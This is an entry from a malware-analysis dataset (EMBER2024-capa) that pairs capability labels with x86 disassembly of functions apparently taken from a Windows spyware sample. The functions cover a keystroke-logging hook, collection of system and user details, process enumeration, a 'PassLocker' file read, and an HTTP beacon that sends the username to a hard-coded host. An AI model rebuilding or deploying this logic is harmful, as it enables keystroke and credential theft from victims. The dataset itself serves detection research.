joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404c76
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x30], 0
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 6
lea eax, [ebp - 0x2c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.WS2_32.DLL_getaddrinfo
sub esp, 0x10
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x404ce8
mov dword [ebp - 0x34], 0
jmp 0x404d53
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.DLL_socket
sub esp, 0xc
mov edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], edx
cmp dword [eax], 0xffffffff
jne 0x404d1c
mov dword [ebp - 0x34], 0
jmp 0x404d53
mov dword [esp + 8], 0x10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call sub.WS2_32.DLL_connect
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x404d4c
mov dword [ebp - 0x34], 0
jmp 0x404d53
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x34]
leave
ret
Function at 0x40501e
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x18]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x12c]
jbe 0x40507c
mov eax, dword [ebp - 0x12c]
mov edx, dword [ebp + 8]
mov eax, dword [ebp + eax*4 - 0x124]
cmp eax, dword [edx]
jne 0x405072
jmp 0x40507c
lea eax, [ebp - 0x12c]
inc dword [eax]
jmp 0x40504e
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x12c]
jne 0x4050ad
cmp dword [ebp - 0x128], 0x3f
ja 0x4050ad
mov edx, dword [ebp - 0x12c]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [ebp + edx*4 - 0x124], eax
lea eax, [ebp - 0x128]
inc dword [eax]
lea eax, [ebp - 0x18]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
inc eax
mov dword [esp], eax
call sub.WS2_32.DLL_select
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x4050f3
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x130], eax
jmp 0x405172
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call sub.WS2_32.DLL___WSAFDIsSet
sub esp, 8
test eax, eax
je 0x405168
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call sub.WS2_32.DLL_recv
sub esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jns 0x40514b
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x130], eax
jmp 0x405172
cmp dword [ebp - 0xc], 0
jne 0x40515d
mov dword [ebp - 0x130], 0xffffffff
jmp 0x405172
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x130], eax
jmp 0x405172
mov dword [ebp - 0x130], 0
mov eax, dword [ebp - 0x130]
leave
ret

Function at 0x40528a
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0xc], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call sub.WS2_32.DLL_send
sub esp, 0x10
leave
ret
Function at 0x4053a1
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
call fcn.00406c6b
call fcn.00406cdf
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4053da
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4053e9
mov dword [ebp - 8], 1
jmp 0x405430
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 4]
mov dword [esp + 8], eax
mov dword [esp + 4], sym.a.exe_CeyEvent_12
mov dword [esp], 0xd
call sub.USER32.dll_SetWindowsHookExA
sub esp, 0x10
mov dword [0x40c4d0], eax
call fcn.004057c5
mov eax, dword [0x40c4d0]
mov dword [esp], eax
call sub.USER32.dll_UnhookWindowsHookEx
sub esp, 4
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
leave
ret
Function at 0x405815
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x6c
mov dword [esp], 0x40aec8
call sub.msvcrt.dll_getenv
mov ebx, eax
mov dword [esp], str.ComSpec
call sub.msvcrt.dll_getenv
mov esi, eax
mov dword [esp], str.windir
call sub.msvcrt.dll_getenv
mov edi, eax
mov dword [esp], str.ALLUSERSPROFILE
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x10], eax
mov dword [esp], str.USERPROFILE
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x14], eax
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x18], eax
mov dword [esp], str.USERDOMAIN
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x1c], eax
mov dword [esp], str.HOMEPATH
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x20], eax
mov dword [esp], str.HOMEDRIVE
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x24], eax
mov dword [esp], str.LOGONSERVER
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x28], eax
mov dword [esp], str.PROCESSOR_IDENTIFIER
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x2c], eax
mov dword [esp], 0x40af43
call sub.msvcrt.dll_getenv
mov dword [ebp - 0x30], eax
call fcn.00406199
mov dword [ebp - 0x34], eax
mov dword [esp], str.COMPUTERNAME
call sub.msvcrt.dll_getenv
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x38], esi
mov dword [esp + 0x34], edi
mov edx, dword [ebp - 0x10]
mov dword [esp + 0x30], edx
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x2c], edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x28], edx
mov edx, dword [ebp - 0x1c]
mov dword [esp + 0x24], edx
mov edx, dword [ebp - 0x20]
mov dword [esp + 0x20], edx
mov edx, dword [ebp - 0x24]
mov dword [esp + 0x1c], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 0x18], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0x30]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x34]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], str.PDF_CODE_1.1_At_This_Computer_Name_:__s_n_t_tLocal_Time_:__s_n_t_tOS_:__s_n_t_tPROCESSOR_IDENTIFIER_:__s_n_t_tLOGON_SERVER_:__s_n_t_tHOME_DRIVE_:__s_n_t_tHOME_PATH_:__s_n_t_tUSER_DOMAIN_:__s_n_t_tUSER_NAME_:__s_n_t_tUSER_PROFILE_:__s_n_t_tALL_USERS_PROFILE_:__s_n_t_tWINDOWS_DIR_:__s_n_t_tCOM_SPEC_:__s_n_t_tPATH_EXT_:__s_n_t_tPeace_On_You._n
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
mov eax, dword [ebp + 8]
add esp, 0x6c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4059a4
Capabilities:
Query environment variable
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4138
call fcn.00407ac0
mov dword [esp + 8], 0x2000
mov dword [esp + 4], 0
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [esp + 8], 0x2000
mov dword [esp + 4], 0
lea eax, [ebp - 0x4008]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [esp + 8], 0x408476
mov dword [esp + 4], str.www.ibayme.eb2a.com
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404c76
test eax, eax
jne 0x405a1b
mov dword [ebp - 0x410c], 0
jmp 0x405b26
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40a082
lea eax, [ebp - 0x4088]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
cmp byte [ebp - 0x4088], 0
je 0x405a76
lea eax, [ebp - 0x4088]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x4088]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4108]
mov dword [esp], eax
call fcn.00405fc2
jmp 0x405a94
mov dword [esp + 8], 7
mov dword [esp + 4], str.Unknown
lea eax, [ebp - 0x4108]
mov dword [esp], eax
call fcn.00405fc2
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x4008]
mov dword [esp], eax
call fcn.00405fc2
mov dword [esp + 0x14], str.www.ibayme.eb2a.com
lea eax, [ebp - 0x4008]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x4108]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._code.php
mov dword [esp + 4], str.GET__s_modecbusr_scb_s_HTTP_1.1_r_nHost:__s_r_nConnection:_Keep_Alive_r_nUser_Agent:_Mozilla_5.0__Windows__U__Windows_NT_5.1__ar__rv:1.9.0.5__Gecko_2008120122_Firefox_3.0.5_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9___q0.8_r_nAccept_Language:_en_en_us_q0.7_en_q0.3_r_nAccept_Encoding:_gzip_deflate_r_nAccept_Charset:_ISO_8859_1_utf_8_q0.7__q0.7_r_n_r_n
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x2008]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040528a
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404ff0
mov dword [ebp - 0x410c], 1
mov eax, dword [ebp - 0x410c]
leave
ret
Function at 0x405df6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20048
call fcn.00407ac0
mov dword [esp + 4], 0x40a0d2
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x405e2e
mov dword [ebp - 0x20024], 0
jmp 0x405ee5
mov dword [esp + 8], 0x20000
mov dword [esp + 4], 0
lea eax, [ebp - 0x20018]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20000
mov dword [esp + 4], 1
lea eax, [ebp - 0x20018]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x2001c], eax
cmp dword [ebp - 0x2001c], 8
jle 0x405ece
lea eax, [ebp - 0x20020]
mov dword [esp], eax
call fcn.00404bb6
mov eax, dword [ebp - 0x2001c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x20018]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str.PassLocker
mov dword [esp + 4], 0x40b08a
lea eax, [ebp - 0x20020]
mov dword [esp], eax
call fcn.00405b2e
lea eax, [ebp - 0x20020]
mov dword [esp], eax
call fcn.00404c31
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x2001c]
mov dword [ebp - 0x20024], eax
mov eax, dword [ebp - 0x20024]
leave
ret
Function at 0x4067ad
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x798
call fcn.00406b83
cmp dword [0x40de30], 0
je 0x40695c
mov dword [ebp - 0x77c], 0
mov dword [esp + 4], 0
mov dword [esp], 2
mov eax, dword [0x40c030]
call eax
sub esp, 8
mov dword [ebp - 0x36c], eax
mov dword [esp + 4], 0
mov dword [esp], 8
mov eax, dword [0x40c030]
call eax
sub esp, 8
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x138], 0x128
mov dword [ebp - 0x368], 0x224
lea eax, [ebp - 0x368]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
call sub.KERNEL32.dll_Module32First
sub esp, 8
lea eax, [ebp - 0x368]
add eax, 0x120
mov dword [esp + 4], eax
lea eax, [ebp - 0x778]
mov dword [esp], eax
call sub.ntdll.dll_strcpy
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0x77c], eax
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x36c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32First
sub esp, 8
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], 0
je 0x40693a
cmp dword [ebp - 0x130], 0
je 0x406914
mov eax, dword [ebp - 0x130]
mov dword [esp + 4], eax
mov dword [esp], 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
sub esp, 8
mov dword [ebp - 0x370], eax
lea eax, [ebp - 0x368]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
call sub.KERNEL32.dll_Module32First
sub esp, 8
lea eax, [ebp - 0x368]
add eax, 0x120
mov dword [esp + 4], eax
lea eax, [ebp - 0x778]
mov dword [esp], eax
call fcn.004060b5
test eax, eax
je 0x406914
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0x77c]
je 0x406914
mov dword [ebp - 0x784], 1
jmp 0x406966
lea eax, [ebp - 0x138]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x36c]
mov dword [esp], eax
call sub.KERNEL32.dll_Process32Next
sub esp, 8
mov dword [ebp - 0x780], eax
jmp 0x406889
mov eax, dword [ebp - 0x36c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x370]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x784]
leave
ret
Function at 0x406a06
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [esp], 0x40ccf0
call fcn.004048e1
test eax, eax
je 0x406ae6
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [esp + 4], 0x40a0d2
mov dword [esp], 0x40ccf0
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x406ae6
mov edx, dword [ebp - 0x34]
lea eax, [ebp - 0x34]
inc dword [eax]
cmp edx, 7
jg 0x406adb
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
mov dword [esp + 4], 1
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jle 0x406aca
lea eax, [ebp - 0x28]
mov dword [esp], eax
call sub.ntdll.dll_atol
mov dword [ebp - 0x38], eax
mov dword [esp], 0
call sub.msvcrt.dll_time
mov edx, eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_difftime
fld qword [0x40b2b8]
fucompp
fnstsw ax
sahf
ja 0x406ac1
jmp 0x406a4f
mov dword [ebp - 0x3c], 1
jmp 0x406aed
mov dword [esp], 0x4d
call sub.msvcrt.dll__sleep
jmp 0x406a4f
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [ebp - 0x3c], 0
mov eax, dword [ebp - 0x3c]
leave
ret

Function at 0x406af2
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [esp + 4], 0x40a408
mov dword [esp], 0x40ccf0
call sub.msvcrt.dll_fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x406b1e
mov dword [ebp - 0x3c], 0
jmp 0x406b7e
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40a167
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], edx
mov dword [esp + 4], 1
lea eax, [ebp - 0x38]
mov dword [esp], eax
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [ebp - 0x3c], 1
mov eax, dword [ebp - 0x3c]
leave
ret
Function at 0x407050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push ebx
sub esp, 0x124
mov ebx, dword [esp + 0x130]
call sub.msvcrt.dll__errno
mov dword [eax], 0
test ebx, ebx
je 0x407257
cmp byte [ebx], 0
je 0x407223
mov dword [esp], ebx
call sub.KERNEL32.dll_GetFileAttributesA
sub esp, 4
cmp eax, 0xffffffff
je 0x407248
test al, 0x10
je 0x407223
mov dword [esp + 4], ebx
mov eax, 0x104
lea esi, [esp + 0x10]
mov dword [esp + 8], eax
mov dword [esp], esi
call sub.msvcrt.dll__fullpath
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x4070c0
and edx, 0x8080
jne 0x4070e6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
lea edx, [ecx + 0x233]
mov dword [esp], edx
call sub.msvcrt.dll_malloc
test eax, eax
mov ebx, eax
je 0x407239
mov dword [esp + 4], esi
lea esi, [eax + 0x22c]
mov dword [esp], esi
call sub.ntdll.dll_strcpy
cmp byte [ebx + 0x22c], 0
je 0x4071c0
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x407130
and edx, 0x8080
jne 0x407156
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
cmp byte [ebx + ecx + 0x22b], 0x2f
je 0x4071c0
mov ecx, esi
lea esi, [esi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x407170
and edx, 0x8080
jne 0x407196
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
cmp byte [ebx + ecx + 0x22b], 0x5c
je 0x4071c0
mov dword [esp], esi
call sub.ntdll.dll_strlen
mov word [eax + esi], 0x5c
lea esi, [esi]
lea edi, [edi]
mov dword [esp], esi
call sub.ntdll.dll_strlen
mov word [eax + esi], 0x2a
mov eax, 0xffffffff
xor edx, edx
mov dword [ebx + 0x224], eax
xor ecx, ecx
xor esi, esi
mov dword [ebx + 0x228], edx
xor eax, eax
mov edx, 0x104
mov dword [ebx + 0x118], ecx
xor ecx, ecx
mov word [ebx + 0x11c], si
lea esi, [ebx + 0x120]
mov word [ebx + 0x11e], ax
mov dword [esp], esi
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
call sub.ntdll.dll_memset
add esp, 0x124
mov eax, ebx
pop ebx
pop esi
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x14
xor eax, eax
add esp, 0x124
pop ebx
pop esi
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0xc
xor eax, eax
jmp 0x407230
call sub.msvcrt.dll__errno
mov dword [eax], 2
xor eax, eax
jmp 0x407230
call sub.msvcrt.dll__errno
mov dword [eax], 0xe
xor eax, eax
jmp 0x407230
Function at 0x4010bf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401115
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401115
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x401107
cmp esi, ecx
jae 0x401115
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x4010f5
cmp esi, ecx
jae 0x401115
cmp word [esi], 0
je 0x401115
mov eax, esi
jmp 0x401117
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4018b8
Capabilities:
Delete directory
Delete file

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x10], 0x8004ffff
lea ebx, [esi + 0x14]
je 0x401901
xor edi, edi
cmp dword [esi + 0x18], edi
je 0x4018e6
push edi
mov ecx, ebx
call fcn.004028df
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
inc edi
cmp edi, dword [esi + 0x18]
jne 0x4018d0
mov ecx, ebx
call fcn.00402904
lea edi, [esi + 0x20]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov ecx, edi
call fcn.00402c62
jmp 0x401904
lea edi, [esi + 0x20]
lea ecx, [esi + 0x24]
call fcn.00402f5f
mov ecx, edi
call fcn.00402f5f
mov ecx, ebx
call fcn.00402904
lea ecx, [esi + 0xc]
call fcn.00402f5f
lea ecx, [esi + 8]
call fcn.00402f5f
pop edi
lea ecx, [esi + 4]
pop esi
pop ebx
jmp fcn.00402f5f

Function at 0x401e34
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
push ebx
mov dword [ebp - 4], ecx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401e62
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x401e62
xor al, al
jmp 0x401ed7
lea ecx, [ebp + 8]
call fcn.00402bff
or dword [ebp - 8], 0xffffffff
lea eax, [ebp + 8]
push 0x104
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.00402c26
push eax
push ebx
push 0x41fcb8
push dword [edi]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea ecx, [ebp - 0x10]
mov edi, eax
call fcn.004028b9
test edi, edi
je 0x401ecd
cmp edi, 0x6f
je 0x401ecd
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x401ecd
mov ecx, dword [ebp - 4]
lea eax, [ebp + 8]
push eax
add ecx, 0x20
call fcn.00402aef
mov bl, 1
lea ecx, [ebp + 8]
call fcn.00402f5f
mov al, bl
pop edi
pop ebx
leave
ret 4
Function at 0x401edd
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, ecx
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x401ef7
xor al, al
jmp 0x401faa
push ebx
push esi
lea ecx, [ebp - 8]
call fcn.00402bff
or dword [ebp - 0xc], 0xffffffff
lea eax, [ebp - 8]
push 0x104
mov ecx, eax
mov dword [ebp - 0x14], eax
call fcn.00402c26
push eax
xor ebx, ebx
mov dword [ebp - 0x10], eax
push ebx
push ebx
push 0x8026
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea ecx, [ebp - 0x14]
mov esi, eax
call fcn.004028b9
test esi, esi
js 0x401f9e
push dword [ebp - 8]
lea ecx, [ebp - 4]
call fcn.00402ba0
push 0x41fb40
lea ecx, [ebp - 4]
call fcn.00402860
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401f6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401f96
push str.Temp
lea ecx, [ebp - 4]
call fcn.00402860
lea eax, [ebp - 4]
mov ecx, edi
push eax
call fcn.00401e34
test al, al
je 0x401f96
lea eax, [ebp - 4]
push eax
lea ecx, [edi + 0x24]
call fcn.00402aef
mov bl, 1
lea ecx, [ebp - 4]
call fcn.00402f5f
lea ecx, [ebp - 8]
call fcn.00402f5f
pop esi
mov al, bl
pop ebx
pop edi
leave
ret

Function at 0x402024
Capabilities:
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x423018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x208
xor ebx, ebx
lea eax, [ebp - 0x210]
push ebx
push eax
mov edi, ecx
or esi, 0xffffffff
call fcn.00407760
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push ebx
push 0x41fccc
push dword [edi + 0x24]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x402121
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x214]
call fcn.00402ba0
lea eax, [ebp - 0x214]
push eax
lea ecx, [edi + 0x14]
call fcn.0040293d
lea ecx, [ebp - 0x214]
call fcn.00402f5f
push 0x41fb3c
push 0x66
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x402121
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x402121
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
je 0x402121
xor eax, eax
push eax
push eax
push 4
push eax
push eax
push 0xc0000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x402121
push esi
push ebx
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov ecx, edi
call fcn.00402369
pop ecx
test eax, eax
jne 0x402117
push ebx
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x402121
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or esi, 0xffffffff
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407182
leave
ret